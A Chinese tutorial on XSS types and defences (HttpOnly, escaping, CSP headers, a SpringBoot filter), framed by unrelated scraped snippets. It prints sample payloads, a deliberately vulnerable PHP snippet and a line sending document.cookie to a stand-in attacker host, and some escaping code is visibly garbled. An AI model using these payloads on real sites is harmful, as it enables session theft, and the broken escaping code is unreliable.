<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
Cross-Site Scripting(跨站指令碼攻擊)簡稱 XSS,是一種程式碼注入攻擊。攻擊者通過在目標網站上注入惡意指令碼,使之在使用者的瀏覽器上執行。利用這些惡意指令碼,攻擊者可獲取使用者的敏感資訊如 Cookie、SessionID 等,進而危害資料安全。
當頁面被注入了惡意 JavaScript 指令碼時,瀏覽器無法區分這些指令碼是被惡意注入的還是正常的頁面內容,所以惡意注入 JavaScript 指令碼也擁有所有的指令碼許可權。下面我們就來看看,如果頁面被注入了惡意 JavaScript 指令碼,惡意指令碼都能做哪些事情。
這裡有一個問題:使用者是通過哪種方法“注入”惡意指令碼的呢?
不僅僅是業務上的“使用者的 UGC 內容”可以進行注入,包括 URL 上的引數等都可以是攻擊的來源。在處
理輸入時,以下內容都不可信:
互動的資料一般不會被存在資料庫裡面,只是簡單的把使用者輸入的資料反射到瀏覽器,一次性,所見即可得。
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>輸入'kobe'試試-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>願你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
這段邏輯只是關注你有沒有輸入資訊。
比如寫一段惡意程式碼:
<script>alert(111)</script>
攻擊過程必須讓使用者存取指定url 才能生效,並且存取過程產生的資料不會被伺服器端造成影響
反射型XSS的總體流程總結 一下,你可以看下面這張圖。駭客誘導你到點選了某個連結,這個連結提供的服務,可能就是上述的搜尋功能。
網頁在解析到連結 的引數後,執行正常的搜尋 邏輯,但是因為漏洞,網頁中被填入了駭客定義的指令碼。使得使用者的瀏覽器,最終執行的是駭客的指令碼。
反射型XSS漏洞常見於通過有URL傳遞引數的功能,如網站搜尋、跳轉等。
由於需要使用者主動開啟惡意的URL才能生效,攻擊者往往會結合多種手段誘導使用者點選。
POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,並引導使用者點選),所以非常少見。
互動的資料會被儲存在資料庫裡面,永久性儲存,具有很強的穩定性。
儲存型 XSS 的攻擊步驟:
<script>alert(document.cookie)</script>
每次不同的使用者存取這個留言板的時候, 都會觸發這個js程式碼, 因為是儲存在資料庫裡(儲存型)
基於 DOM 的 XSS 攻擊是不牽涉到頁面 Web 伺服器的。具體來講,駭客通過各種手段將惡意指令碼注入使用者的頁面中,比如通過網路劫持在頁面
傳輸過程中修改 HTML 頁面的內容,這種劫持型別很多,有通過 WiFi 路由器劫持的,有通過本地惡意軟體來劫持的,它們的共同點是在 Web
資源傳輸過程或者在使用者使用頁面的過程中修改 Web 頁面的資料。
DOM 型 XSS 的攻擊步驟:
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其
他兩種 XSS 都屬於伺服器端的安全漏洞。
下面程式碼是讀取目標網站的cookie傳送到駭客的伺服器上。
var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;
垃圾資訊傳送:比如在 SNS 社群中,利用 XSS 漏洞借用被攻擊者的身份傳送大量的垃圾資訊給特定的目標群。
劫持使用者 Web 行為:一些高階的 XSS 攻擊甚至可以劫持使用者的 Web 行為,監視使用者的瀏覽歷史,傳送與接收的資料等等。
XSS 蠕蟲:XSS 蠕蟲可以用來打廣告、刷流量、掛馬、惡作劇、破壞網上資料、實施 DDoS 攻擊等。
使用手工檢測Web應用程式是否存在XSS漏洞時,最重要的是考慮哪裡有輸入,輸入的資料在什麼地方輸出。在進行手動檢測XSS時,人畢
竟不像軟體那樣不知疲憊,所以一定要選擇有特殊意義的字元,這樣可以快速測試是否存在XSS。
Web漏洞掃描器原理:
https://www.acunetix.com/vulnerability-scanner/
由於很多XSS攻擊目的都是盜取Cookie的,因此可以公國HttpOnly 屬性來保護Cookie的安全。httponly 預設是false,即這個cookie可以被js獲取,假如你的cookie沒加密又沒設定httponly,你的cookie可能就會盜用,所以httponly增加了安全係數HttpOnly
是包含在 Set-Cookie HTTP 響應檔頭中的附加標誌。可以防範 XSS攻擊。
springBoot 專案中怎樣設定,在組態檔中設定:
server.servlet.session.cookie.http-only 預設為true
對使用者的輸入進行過濾,通過將 <>
、''
、""
等字元進行跳脫,移除使用者輸入的Style節點、Script節點、iframe節點
const filterXSS(str){ let s= ''; if(str.length == 0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," "); s = s.replace(/'/g,"'"); s = s.replace(/"/g,"""); return s; }
雖然在伺服器端執行過濾或者轉碼可以阻止 XSS 攻擊的發生,但完全依靠伺服器端依然是不夠的,我們還需要把 CSP 等策略充分地利用起來,
以降低 XSS 攻擊帶來的風險和後果。
CSP( Content-Security-Policy )從字面意思來講是“內容 - 安全 - 政策”。
通俗的講就是該網頁內容的一個安全策略,可以自定義資源的載入規則和資源所在地址源的白名單,用來限制資源是否被允許載入,即當受到 XSS 攻擊時,攻擊的資原始檔所在的地址源不滿足 CSP 設定的規則,即攻擊資源會載入失敗,以此達到防止 XSS 攻擊的效果。
CSP的意義:防XSS等攻擊的利器。CSP 的實質就是白名單制度,開發者明確告訴使用者端,哪些外部資源可以載入和執行,等同於提供白名單。它的實現和執行全部由瀏覽器完成,開發者只需提供設定。CSP 大大增強了網頁的安全性。攻擊者即使發現了漏洞,也沒法注入指令碼,除非還控制了一臺列入了白名單的可信主機。
1.如何應用?
CSP 可以由兩種方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 來指定,而 HTML 級別則由 Meta 標籤指定。
CSP 有兩類:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小寫無關)
(1)Content-Security-Policy:設定好並啟用後,不符合 CSP 的外部資源就會被阻止載入。
(2)Content-Security-Policy-Report-Only:表示不執行限制選項,只是記錄違反限制的行為。它必須
與report-uri選項配合使用。
TTP header : "Content-Security-Policy:" 策略 "Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 頭可以指定一個或多個資源是安全的,而Content-Security-Policy-Report-Only則是允許伺服器檢查(非強制)一個策略。多個頭的策略定義由優先採用最先定義的。
HTML Meta : <meta http-equiv="content-security-policy" content="策略"> <meta http-equiv="content-security-policy-report-only" content="策略">
Meta 標籤與 HTTP 頭只是行式不同而作用是一致的。與 HTTP 頭一樣,優先採用最先定義的策略。如果 HTTP 頭與 Meta 定義同時存在,則優先採用 HTTP 中的定義。如果使用者瀏覽器已經為當前檔案執行了一個 CSP 的策略,則會跳過 Meta 的定義。如果 META 標籤缺少 content 屬性也同樣會跳過。
針對開發者草案中特別的提示一點:為了使用策略生效,應該將 Meta 元素頭放在開始位置,以防止提高人為的 CSP 策略注入。
2.CSP使用方式有兩種
1、使用meta標籤, 直接在頁面新增meta標籤
<meta http-equiv="Content-Security-Policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';">
這種方式最簡單,但是也有些缺陷,每個頁面都需要新增,而且不能對限制的域名進行上報。
vue中使用CSP參考: https://www.jb51.net/article/259619.htm
2、在nginx中設定
###frame 同源策略 add_header X-Frame-Options SAMEORIGIN; ###CSP防護 add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline';font-src 'self' data:; img-src 'self' data: 'unsafe-inline' https:; style-src 'self' 'unsafe-inline';frame-ancestors 'self'; frame-src 'self';connect-src https:"; ###開啟XSS防護 add_header X-Xss-Protection "1"; ###資源解析 add_header X-Content-Type-Options nosniff; ###HSTS防護 add_header Strict-Transport-Security "max-age=172800; includeSubDomains";
3.匹配規則
CSP內容匹配的規則:規則名稱 規則 規則;規則名稱 規則 ...
詳情設定及瀏覽器相容性可檢視官方檔案:https://content-security-policy.com
https://cloud.tencent.com/developer/section/1189862
策略應該怎麼寫?範例
// 限制所有的外部資源,都只能從當前域名載入 Content-Security-Policy: default-src 'self' // default-src 是 CSP 指令,多個指令之間用英文分號分割;多個指令值用英文空格分割 Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none' // 錯誤寫法,第二個指令將會被忽略 Content-Security-Policy: script-src https://host1.com; script-src https://host2.com // 正確寫法如下 Content-Security-Policy: script-src https://host1.com https://host2.com
我們不僅希望防止 XSS,還希望記錄此類行為。report-uri就用來告訴瀏覽器,應該把注入行為報告給哪個網址。
// 通過report-uri指令指示瀏覽器傳送JSON格式的攔截報告到某個url地址 Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; // 報告看起來會像下面這樣 { "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "script-src 'self' https://apis.google.com", "original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser" } }
實施嚴格的 CSP 可以有效地防範 XSS 攻擊,具體來講 CSP 有如下幾個功能:
因此,利用好 CSP 能夠有效降低 XSS 攻擊的概率。
後端使用的 SpringBoot
(1) 首先設定過濾器
@Bean public FilterRegistrationBean<XssFilter> xssFilterRegistration() { //建立設定bean物件,並指定->過濾器 FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>(new XssFilter()); // 最後執行 registrationBean.setDispatcherTypes(DispatcherType.REQUEST); registrationBean.setOrder(Integer.MAX_VALUE-1); registrationBean.setName("xssFilter"); //新增需要過濾的url registrationBean.addUrlPatterns(StrUtil.splitToArray(urlPatterns, ',')); Map<String, String> initParameters = new HashMap<>(4); initParameters.put("excludes", excludes); initParameters.put("enabled", enabled); registrationBean.setInitParameters(initParameters); return registrationBean; }
(2) 過濾器
* 攔截防止xss注入 * 通過Jsoup過濾請求引數內的特定字元 * 這種攔截只能處理:引數通過 request.getParameter獲取到的 請求. * 但是對於 json格式傳遞 application/json 無法處理.
public class XssFilter implements Filter { private static Logger logger = LoggerFactory.getLogger(XssFilter.class); /** * 不需要過濾的連結 */ public List<String> excludes = new ArrayList<>(); /** * xss過濾開關 */ public boolean enabled = false; @Override public void init(FilterConfig filterConfig) throws ServletException { String tempExcludes = filterConfig.getInitParameter("excludes"); String tempEnabled = filterConfig.getInitParameter("enabled"); if (StringUtils.isNotEmpty(tempExcludes)) { String[] url = tempExcludes.split(","); for (int i = 0; url != null && i < url.length; i++) { excludes.add(url[i]); } } if (StringUtils.isNotEmpty(tempEnabled)) { enabled = Boolean.valueOf(tempEnabled); } } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (handleExcludeURL(req, resp)) { filterChain.doFilter(request, response); return; } filterChain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response); } @Override public void destroy() { // noop } private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) { if (!enabled) { return true; } if (excludes == null || excludes.isEmpty()) { return false; } String url = request.getServletPath(); for (String pattern : excludes) { Pattern p = Pattern.compile("^" + pattern); Matcher m = p.matcher(url); if (m.find()){ return true; } } return false; } }
XssHttpServletRequestWrapper:對 HttpServletRequest 進行一次包裝, 進行xss過濾.針對 POST application/x-www-form-urlencoded 或者 GET請求.
@Slf4j public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private HttpServletRequest orgRequest; // html過濾 private final static HTMLFilter htmlFilter = new HTMLFilter(); public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } @Override public ServletInputStream getInputStream() throws IOException { // 非json型別,直接返回 if (!isJsonRequest()) { return super.getInputStream(); } // 為空,直接返回 String json = IOUtils.toString(super.getInputStream(), "utf-8"); if (StrUtil.isBlank(json)) { return super.getInputStream(); } // xss過濾 json = xssEncode(json); final ByteArrayInputStream bis = new ByteArrayInputStream(json.getBytes("utf-8")); return new ServletInputStream() { @Override public boolean isFinished() { return true; } @Override public boolean isReady() { return true; } @Override public void setReadListener(ReadListener readListener) { } @Override public int read() throws IOException { return bis.read(); } }; } /** * 覆蓋getParameter方法,將引數名和引數值都做xss過濾。<br/> */ @Override public String getParameter(String rawName) { String value = super.getParameter(xssEncode(rawName)); if (StrUtil.isNotBlank(value)) { value = xssEncode(value); } return value; } @Override public String[] getParameterValues(String name) { String[] parameters = super.getParameterValues(name); if (parameters == null || parameters.length == 0) { return null; } for (int i = 0; i < parameters.length; i++) { parameters[i] = xssEncode(parameters[i]); } return parameters; } @Override public Enumeration<String> getParameterNames() { Enumeration<String> parameterNames = super.getParameterNames(); List<String> list = new LinkedList<>(); if (parameterNames != null) { while (parameterNames.hasMoreElements()) { String rawName = parameterNames.nextElement(); String safetyName = xssEncode(rawName); if (!Objects.equals(rawName, safetyName)) { log.warn("請求路徑: {},引數鍵: {}, xss過濾後: {}. 疑似xss攻擊", orgRequest.getRequestURI(), rawName, safetyName); } list.add(safetyName); } } return Collections.enumeration(list); } @Override public Map<String, String[]> getParameterMap() { Map<String, String[]> map = new LinkedHashMap<>(); Map<String, String[]> parameters = super.getParameterMap(); for (String key : parameters.keySet()) { String[] values = parameters.get(key); for (int i = 0; i < values.length; i++) { values[i] = xssEncode(values[i]); } map.put(key, values); } return map; } /** * 覆蓋getHeader方法,將引數名和引數值都做xss過濾。<br/> * 如果需要獲得原始的值,則通過super.getHeaders(name)來獲取<br/> * getHeaderNames 也可能需要覆蓋 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (StrUtil.isNotBlank(value)) { value = xssEncode(value); } return value; } private String xssEncode(String input) { return htmlFilter.filter(input); } /** * 是否是Json請求 */ public boolean isJsonRequest() { String header = super.getHeader(HttpHeaders.CONTENT_TYPE); return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); } }
HTMLFilter
public final class HTMLFilter { /** regex flag union representing /si modifiers in php **/ private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL; private static final Pattern P_COMMENTS = Pattern.compile("<!--(.*?)-->", Pattern.DOTALL); private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI); private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL); private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI); private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI); private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=(["'])(.*?)\2", REGEX_FLAGS_SI); private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^"\s']+)", REGEX_FLAGS_SI); private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI); private static final Pattern P_ENTITY = Pattern.compile("&#(\d+);?"); private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?"); private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?"); private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))"); private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL); private static final Pattern P_END_ARROW = Pattern.compile("^>"); private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)"); private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)"); private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)"); private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)"); private static final Pattern P_AMP = Pattern.compile("&"); private static final Pattern P_QUOTE = Pattern.compile("<"); private static final Pattern P_LEFT_ARROW = Pattern.compile("<"); private static final Pattern P_RIGHT_ARROW = Pattern.compile(">"); private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>"); // @xxx could grow large... maybe use sesat's ReferenceMap private static final ConcurrentMap<String,Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<String, Pattern>(); private static final ConcurrentMap<String,Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<String, Pattern>(); /** set of allowed html elements, along with allowed attributes for each element **/ private final Map<String, List<String>> vAllowed; /** counts of open tags for each (allowable) html element **/ private final Map<String, Integer> vTagCounts = new HashMap<String, Integer>(); /** html elements which must always be self-closing (e.g. "<img />") **/ private final String[] vSelfClosingTags; /** html elements which must always have separate opening and closing tags (e.g. "<b></b>") **/ private final String[] vNeedClosingTags; /** set of disallowed html elements **/ private final String[] vDisallowed; /** attributes which should be checked for valid protocols **/ private final String[] vProtocolAtts; /** allowed protocols **/ private final String[] vAllowedProtocols; /** tags which should be removed if they contain no content (e.g. "<b></b>" or "<b />") **/ private final String[] vRemoveBlanks; /** entities allowed within html markup **/ private final String[] vAllowedEntities; /** flag determining whether comments are allowed in input String. */ private final boolean stripComment; private final boolean encodeQuotes; private boolean vDebug = false; /** * flag determining whether to try to make tags when presented with "unbalanced" * angle brackets (e.g. "<b text </b>" becomes "<b> text </b>"). If set to false, * unbalanced angle brackets will be html escaped. */ private final boolean alwaysMakeTags; /** Default constructor. * */ public HTMLFilter() { vAllowed = new HashMap<>(); final ArrayList<String> a_atts = new ArrayList<String>(); a_atts.add("href"); a_atts.add("target"); vAllowed.put("a", a_atts); final ArrayList<String> img_atts = new ArrayList<String>(); img_atts.add("src"); img_atts.add("width"); img_atts.add("height"); img_atts.add("alt"); vAllowed.put("img", img_atts); final ArrayList<String> no_atts = new ArrayList<String>(); vAllowed.put("b", no_atts); vAllowed.put("strong", no_atts); vAllowed.put("i", no_atts); vAllowed.put("em", no_atts); vSelfClosingTags = new String[]{"img"}; vNeedClosingTags = new String[]{"a", "b", "strong", "i", "em"}; vDisallowed = new String[]{}; vAllowedProtocols = new String[]{"http", "mailto", "https"}; // no ftp. vProtocolAtts = new String[]{"src", "href"}; vRemoveBlanks = new String[]{"a", "b", "strong", "i", "em"}; vAllowedEntities = new String[]{"amp", "gt", "lt", "quot"}; stripComment = true; encodeQuotes = true; alwaysMakeTags = true; } /** Set debug flag to true. Otherwise use default settings. See the default constructor. * * @param debug turn debug on with a true argument */ public HTMLFilter(final boolean debug) { this(); vDebug = debug; } /** Map-parameter configurable constructor. * * @param conf map containing configuration. keys match field names. */ @SuppressWarnings("unchecked") public HTMLFilter(final Map<String,Object> conf) { assert conf.containsKey("vAllowed") : "configuration requires vAllowed"; assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags"; assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags"; assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed"; assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols"; assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts"; assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks"; assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities"; vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed")); vSelfClosingTags = (String[]) conf.get("vSelfClosingTags"); vNeedClosingTags = (String[]) conf.get("vNeedClosingTags"); vDisallowed = (String[]) conf.get("vDisallowed"); vAllowedProtocols = (String[]) conf.get("vAllowedProtocols"); vProtocolAtts = (String[]) conf.get("vProtocolAtts"); vRemoveBlanks = (String[]) conf.get("vRemoveBlanks"); vAllowedEntities = (String[]) conf.get("vAllowedEntities"); stripComment = conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true; encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true; alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true; } private void reset() { vTagCounts.clear(); } private void debug(final String msg) { if (vDebug) { Logger.getAnonymousLogger().info(msg); } } //--------------------------------------------------------------- // my versions of some PHP library functions public static String chr(final int decimal) { return String.valueOf((char) decimal); } public static String htmlSpecialChars(final String s) { String result = s; result = regexReplace(P_AMP, "&", result); result = regexReplace(P_QUOTE, """, result); result = regexReplace(P_LEFT_ARROW, "<", result); result = regexReplace(P_RIGHT_ARROW, ">", result); return result; } //--------------------------------------------------------------- /** * given a user submitted input String, filter out any invalid or restricted * html. * * @param input text (i.e. submitted by a user) than may contain html * @return "clean" version of input, with only valid, whitelisted html elements allowed */ public String filter(final String input) { reset(); String s = input; debug("************************************************"); debug(" INPUT: " + input); s = escapeComments(s); debug(" escapeComments: " + s); s = balanceHTML(s); debug(" balanceHTML: " + s); s = checkTags(s); debug(" checkTags: " + s); s = processRemoveBlanks(s); debug("processRemoveBlanks: " + s); s = validateEntities(s); debug(" validateEntites: " + s); debug("************************************************nn"); return s; } public boolean isAlwaysMakeTags(){ return alwaysMakeTags; } public boolean isStripComments(){ return stripComment; } private String escapeComments(final String s) { final Matcher m = P_COMMENTS.matcher(s); final StringBuffer buf = new StringBuffer(); if (m.find()) { final String match = m.group(1); //(.*?) m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-->")); } m.appendTail(buf); return buf.toString(); } private String balanceHTML(String s) { if (alwaysMakeTags) { // // try and form html // s = regexReplace(P_END_ARROW, "", s); s = regexReplace(P_BODY_TO_END, "<$1>", s); s = regexReplace(P_XML_CONTENT, "$1<$2", s); } else { // // escape stray brackets // s = regexReplace(P_STRAY_LEFT_ARROW, "<$1", s); s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2><", s); // // the last regexp causes '<>' entities to appear // (we need to do a lookahead assertion so that the last bracket can // be used in the next pass of the regexp) // s = regexReplace(P_BOTH_ARROWS, "", s); } return s; } private String checkTags(String s) { Matcher m = P_TAGS.matcher(s); final StringBuffer buf = new StringBuffer(); while (m.find()) { String replaceStr = m.group(1); replaceStr = processTag(replaceStr); m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr)); } m.appendTail(buf); s = buf.toString(); // these get tallied in processTag // (remember to reset before subsequent calls to filter method) for (String key : vTagCounts.keySet()) { for (int ii = 0; ii < vTagCounts.get(key); ii++) { s += "</" + key + ">"; } } return s; } private String processRemoveBlanks(final String s) { String result = s; for (String tag : vRemoveBlanks) { if(!P_REMOVE_PAIR_BLANKS.containsKey(tag)){ P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\s[^>]*)?></" + tag + ">")); } result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result); if(!P_REMOVE_SELF_BLANKS.containsKey(tag)){ P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\s[^>]*)?/>")); } result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result); } return result; } private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) { Matcher m = regex_pattern.matcher(s); return m.replaceAll(replacement); } private String processTag(final String s) { // ending tags Matcher m = P_END_TAG.matcher(s); if (m.find()) { final String name = m.group(1).toLowerCase(); if (allowed(name)) { if (!inArray(name, vSelfClosingTags)) { if (vTagCounts.containsKey(name)) { vTagCounts.put(name, vTagCounts.get(name) - 1); return "</" + name + ">"; } } } } // starting tags m = P_START_TAG.matcher(s); if (m.find()) { final String name = m.group(1).toLowerCase(); final String body = m.group(2); String ending = m.group(3); //debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" ); if (allowed(name)) { String params = ""; final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body); final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body); final List<String> paramNames = new ArrayList<String>(); final List<String> paramValues = new ArrayList<String>(); while (m2.find()) { paramNames.add(m2.group(1)); //([a-z0-9]+) paramValues.add(m2.group(3)); //(.*?) } while (m3.find()) { paramNames.add(m3.group(1)); //([a-z0-9]+) paramValues.add(m3.group(3)); //([^"\s']+) } String paramName, paramValue; for (int ii = 0; ii < paramNames.size(); ii++) { paramName = paramNames.get(ii).toLowerCase(); paramValue = paramValues.get(ii); // debug( "paramName='" + paramName + "'" ); // debug( "paramValue='" + paramValue + "'" ); // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) ); if (allowedAttribute(name, paramName)) { if (inArray(paramName, vProtocolAtts)) { paramValue = processParamProtocol(paramValue); } params += " " + paramName + "="" + paramValue + """; } } if (inArray(name, vSelfClosingTags)) { ending = " /"; } if (inArray(name, vNeedClosingTags)) { ending = ""; } if (ending == null || ending.length() < 1) { if (vTagCounts.containsKey(name)) { vTagCounts.put(name, vTagCounts.get(name) + 1); } else { vTagCounts.put(name, 1); } } else { ending = " /"; } return "<" + name + params + ending + ">"; } else { return ""; } } // comments m = P_COMMENT.matcher(s); if (!stripComment && m.find()) { return "<" + m.group() + ">"; } return ""; } private String processParamProtocol(String s) { s = decodeEntities(s); final Matcher m = P_PROTOCOL.matcher(s); if (m.find()) { final String protocol = m.group(1); if (!inArray(protocol, vAllowedProtocols)) { // bad protocol, turn into local anchor link instead s = "#" + s.substring(protocol.length() + 1, s.length()); if (s.startsWith("#//")) { s = "#" + s.substring(3, s.length()); } } } return s; } private String decodeEntities(String s) { StringBuffer buf = new StringBuffer(); Matcher m = P_ENTITY.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.decode(match).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); buf = new StringBuffer(); m = P_ENTITY_UNICODE.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.valueOf(match, 16).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); buf = new StringBuffer(); m = P_ENCODE.matcher(s); while (m.find()) { final String match = m.group(1); final int decimal = Integer.valueOf(match, 16).intValue(); m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); } m.appendTail(buf); s = buf.toString(); s = validateEntities(s); return s; } private String validateEntities(final String s) { StringBuffer buf = new StringBuffer(); // validate entities throughout the string Matcher m = P_VALID_ENTITIES.matcher(s); while (m.find()) { final String one = m.group(1); //([^&;]*) final String two = m.group(2); //(?=(;|&|$)) m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two))); } m.appendTail(buf); return encodeQuotes(buf.toString()); } private String encodeQuotes(final String s){ if(encodeQuotes){ StringBuffer buf = new StringBuffer(); Matcher m = P_VALID_QUOTES.matcher(s); while (m.find()) { final String one = m.group(1); //(>|^) final String two = m.group(2); //([^<]+?) final String three = m.group(3); //(<|$) m.appendReplacement(buf, Matcher.quoteReplacement(one + regexReplace(P_QUOTE, """, two) + three)); } m.appendTail(buf); return buf.toString(); }else{ return s; } } private String checkEntity(final String preamble, final String term) { return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble; } private boolean isValidEntity(final String entity) { return inArray(entity, vAllowedEntities); } private static boolean inArray(final String s, final String[] array) { for (String item : array) { if (item != null && item.equals(s)) { return true; } } return false; } private boolean allowed(final String name) { return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed); } private boolean allowedAttribute(final String name, final String paramName) { return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); } }
到此這篇關於跨站指令碼攻擊XSS分類介紹以及解決方案的文章就介紹到這了,更多相關跨站指令碼攻擊XSS分類及解決內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45